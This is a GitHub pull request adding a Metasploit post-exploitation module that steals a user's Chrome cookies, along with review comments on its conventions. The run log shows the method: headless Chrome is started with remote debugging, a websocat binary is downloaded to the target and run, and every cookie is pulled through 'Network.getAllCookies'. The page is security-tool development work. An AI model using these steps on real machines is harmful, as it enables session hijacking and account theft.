New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Gather chrome cookies post module #11052

Open
wants to merge 3 commits into
base: master
from

Conversation

Projects
None yet
3 participants
@defaultnamehere

defaultnamehere commented Dec 3, 2018

Adds a new module to extract a user's Chrome cookies post-exploitation. This does not require root.

Verification

  • Start msfconsole

  • Obtain a session on the target machine

  • use post/chrome/gather/cookies

  • set SESSION <your session ID>

  • run

  • Verify The current user's Chrome cookies are saved as loot

    msf > use post/chrome/gather/cookies
    msf post(chrome/gather/cookies) > set SESSION <your session ID>
    
    msf5 post(test/chrome_cookies) > options
    
    Module options (post/test/chrome_cookies):
    
       Name                   Current Setting    Required  Description
       ----                   ---------------    --------  -----------
       CHROME_BINARY_PATH                        no        The path to the user's Chrome binary (leave blank to use the default for the OS)
       COOKIE_STORAGE_PATH    /tmp/websocat.log  no        Where to write the retrieved cookies temporarily
       HEADLESS_URL           about://blank      no        The URL to load with the user's headless chrome
       MAX_RETRIES            3                  no        Max retries for websocket request to Chrome remote debugging URL.
       REMOTE_DEBUGGING_PORT  9222               no        Port on target machine to use for remote debugging protocol
       SESSION                1                  yes       The session to run this module on.
       WEBSOCAT_STORAGE_PATH  /tmp/websocat      no        Where to write the websocat binary temporarily while it is used
    
    msf post(chrome/gather/cookies) > run
    
    [*] Activated Chrome's Remote Debugging via google-chrome --headless --user-data-dir="/home/target_username/.config/google-chrome/" --remote-debugging-port=9222 about://blank
    [!] Writing file /tmp/websocat to disk temporarily
    [*] Downloading https://github.com/vi/websocat/releases/download/v1.2.0/websocat_nossl_i386-linux to /tmp/websocat
    [!] Writing file /tmp/websocat.log to disk temporarily
    [-] Error running echo '{"id": 1, "method": "Network.getAllCookies"}' | /tmp/websocat -q ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508 > /tmp/websocat.log
    [-] /bin/sh: 1: /tmp/websocat: Text file busy
    [-] No data read from websocket debugger url ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508. Retrying... (Retries left: 2)
    [!] Writing file /tmp/websocat.log to disk temporarily
    [+] Read 1470 cookies from ws://localhost:9222/devtools/page/2BB6CD14146BFB67C4523D85A348508
    [*] Deleted /tmp/websocat
    [*] Deleted /tmp/websocat.log
    [+] Chrome Cookies stored in /home/your_username/.msf4/loot/20181203153956_default_127.0.0.1_chrome.gather.co_192519.txt
    [*] Post module execution completed
    

"file busy" errors on /tmp/websocat may occur. Access to this file will be retried 3 times before the module fails.

Background

See https://github.com/defaultnamehere/cookie_crimes and https://mango.pdf.zone/stealing-chrome-cookies-without-a-password

Contribution Questions

I don't really know much about how metasploit works, and was hoping some metasploit-framework contributors could help. Specifically:

  • Is it alright that I've created a new chrome directory under post? This exploit technically only works on Linux and macOS, but I put it under chrome in the hopes that someone (probably me, sigh) adds Windows support one day.
  • What session types/OS should I list this module as being compatible with? I've listed both meterpreter and shell, and tested on Linux (Chrome 65.0.3325.181, Ubuntu 18.04) using python/meterpreter/reverse_tcp.
  • Is there a better way for a meterpreter to make websocket requests? I've hacked together the downloading and execution of a binary to do the websocket request/response, and I think this module would be much more robust and opsec-safe if this could be avoided.

I've also not added some features to this module. These are Windows support (which the technique supports but not this module) and the ability to enumerate and choose which Chrome Profile to read cookies from (the default is used as-is). I'm hoping someone with more metasploit/Windows experience can help.

This is my first time writing a metasploit module or Ruby, so feel free to tear this to shreds.

@bcoles bcoles added module docs labels Dec 3, 2018

Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
@retries = datastore['MAX_RETRIES']
@websocat_storage_path = datastore['WEBSOCAT_STORAGE_PATH']
@cookie_storage_path = datastore['COOKIE_STORAGE_PATH']

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

It would also be a good idea to ensure @websocat_storage_path and @cookie_storage_path are writable before proceeding.

There's a writable? method for this, however it will only work on files or directories which already exist. They can be used like this:

unless writable? @websocat_storage_path
  fail_with Failure::BadConfig, "#{@websocat_storage_path} is not writable"
end

unless writable? @cookie_storage_path
  fail_with Failure::BadConfig, "#{@cookie_storage_path} is not writable"
end

Unfortunately you'll need to parse the user-specified paths and extract the base directory in order to use these methods, as the paths specified in these variables won't exist yet.

Alternatively, have the user specify a directory, rather than a filename, in the datastore options, and randomize the filename. This is arguably a better approach. You can use the rand_text_alphanumeric(10..15) method to generate a random string with a length between 10 - 15 characters.

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 3, 2018

Unfortunately rand_text_alphanumeric is in Msf::Exploit, not Msf::Post. Is there some metasploit-approved other place I can import this function?

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

Well that's dumb.

Try: Rex::Text.rand_text_alphanumeric 10..15

Show resolved Hide resolved modules/post/chrome/gather/cookies.rb Outdated
Apply suggestions from code review
Co-Authored-By: defaultnamehere <defaultnamehere@users.noreply.github.com>
@bcoles

This comment has been minimized.

Contributor

bcoles commented Dec 3, 2018

This is my first time writing a metasploit module or Ruby, so feel free to tear this to shreds.

For someone who is new to the project, you've done a good job of obeying convention.

Is it alright that I've created a new chrome directory under post? This exploit technically only works on Linux and macOS, but I put it under chrome in the hopes that someone (probably me, sigh) adds Windows support one day.

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

What session types/OS should I list this module as being compatible with? I've listed both meterpreter and shell, and tested on Linux (Chrome 65.0.3325.181, Ubuntu 18.04) using python/meterpreter/reverse_tcp.

Both shell and meterpreter are probably correct. It would be best to test on sessions of both types. The Python meterpreter is one of the flakier meterpreters, so if you've tested with that then I'd consider meterpreter as tested. The module should also be tested on a command shell session (ie, reverse_netcat).


Generally modules don't download and execute software on the target. This instance may be an exception. I'll defer to someone else on this.

Chrome can take some time to make the `websocketDebuggerUrl` available at `localhost:9222/json`. This option specifies how many times to retry checking for a response from `localhost:9222/json`.
**REMOTE_DEBUGGING_PORT**

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

Add a line here for formatting consistency.

Suggested change Beta
**REMOTE_DEBUGGING_PORT**
**REMOTE_DEBUGGING_PORT**
**HEADLESS_URL**
When Headless Chrome is opened, it needs a URL to browse to. The default is "about://blank" (an empty page in Chrome), but if you change this option, the target Chrome will make a fully authenticated request to the URL. This can be combined with Chrome's `--dump-dom` flag to print the HTML source of an authenticated HTTP request to the console.

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

It looks like --dump-dom isn't used anywhere in the module. While it's nice to document this functionality, it's not really used/useful in its current state.

ie, in which scenarios would a user change the HEADLESS_URL, and in which scenarios would that be useful ? Without --dump-dom, I can think of some scenarios, but they're effectively an elaborate and not very subtle CSRF attack.

I like that this is user-configurable, but it may be better to register it as an advanced option (there's already a lot of options for this module).

To register it as an advanced option, remove it from register_options, and add:

    register_advanced_options(
      [
        OptString.new('HEADLESS_URL', [false, "The URL to load with the user's headless chrome", 'about://blank']),
      ]
    )

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 3, 2018

Ah, I didn't know about advanced options, thank you!

I originally had this option back when I wasn't using about://blank as the default, and I agree that most people won't want to configure it. Advanced options sounds perfect.

Show resolved Hide resolved documentation/modules/post/chrome/gather/cookies.md
[+] Chrome Cookies stored in /home/your_username/.msf4/loot/20181203153956_default_127.0.0.1_chrome.gather.co_192519.txt
[*] Post module execution completed
```
In this example, a race condition occurred between writing the websocat binary and executing it. The module caught this and retried so it can continue gracefully.

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

Yeah that should never happen. Either get more sleep or add a check to ensure that the binary is downloaded correctly.

Based on previous review comments, this may now be a non-issue.

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 3, 2018

Just checking, Rex.sleep sleeps on the meterpreter-side, not the msf side, right?

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

It sleeps on the msf side, not the client.

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 4, 2018

It looks like this race is happening because cmd_exec doesn't block. Am I right in assuming that? (i.e. cmd_exec can return before the command it's calling finishes execution). Is there some metasploit-standard way to force a call to cmd_exec to happen after another call?

This comment has been minimized.

@bcoles

bcoles Dec 4, 2018

Contributor

cmd_exec blocks until the command returns, or until timeout. The default timeout is 15 seconds.

lib/msf/core/post/common.rb:83:  def cmd_exec(cmd, args="", time_out=15)

For example, to set a timeout of 60 seconds:

cmd_exec "/usr/bin/id", nil, 60

An exception to the above is if the executed command is backgrounded (ie, /bin/sh -c "some background task" &), in which case the cmd_exec call will return almost immediately.

@platform = :windows
return
else
print_error "Unsupported platform: #{session.platform}"

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

Rather than print_error and return, you could fail_with. NoTarget is probably appropriate.

fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 3, 2018

ahaha I copied this from an existing post module 👀

This comment has been minimized.

@bcoles

bcoles Dec 3, 2018

Contributor

Keeping up with convention is hard with ~3,000 modules.

       =[ metasploit v5.0.0-dev-b35f18f                   ]
+ -- --=[ 1851 exploits - 1045 auxiliary - 320 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
+ -- --=[ ** This is Metasploit 5 development branch **   ]

On that topic, I noticed you have an OSX system. The OSX post modules/libs are one of the most neglected areas of the framework. Plenty of testing and improvements to be made if you happen to be bored.

This comment has been minimized.

@defaultnamehere

defaultnamehere Dec 3, 2018

Ahah, yep, I noticed the same thing about the OSX post modules when I tried using metasploit. This module works on OSX (yay!), and I'll aim for the same with any future modules.

@defaultnamehere

This comment has been minimized.

defaultnamehere commented Dec 3, 2018

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

With the directory structure, I was copying post/firefox/gather. Just to check, should I be consistent with firefox or multi?

@bcoles

This comment has been minimized.

Contributor

bcoles commented Dec 3, 2018

The second directory denotes platforms/architectures. post/multi is the appropriate directory for multiple; so something like: post/multi/gather/chrome_cookies

With the directory structure, I was copying post/firefox/gather. Just to check, should I be consistent with firefox or multi?

You should be consistent with post/multi.

The second directory denotes platforms/architectures. The post/firefox modules are special in that they're executed within a Firefox shell. They execute JavaScript rather than OS commands.

# grep -rn cmd_exec modules/post/firefox/ | wc -l
0
@busterb

This comment has been minimized.

Contributor

busterb commented Dec 8, 2018

Jenkins test this please

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment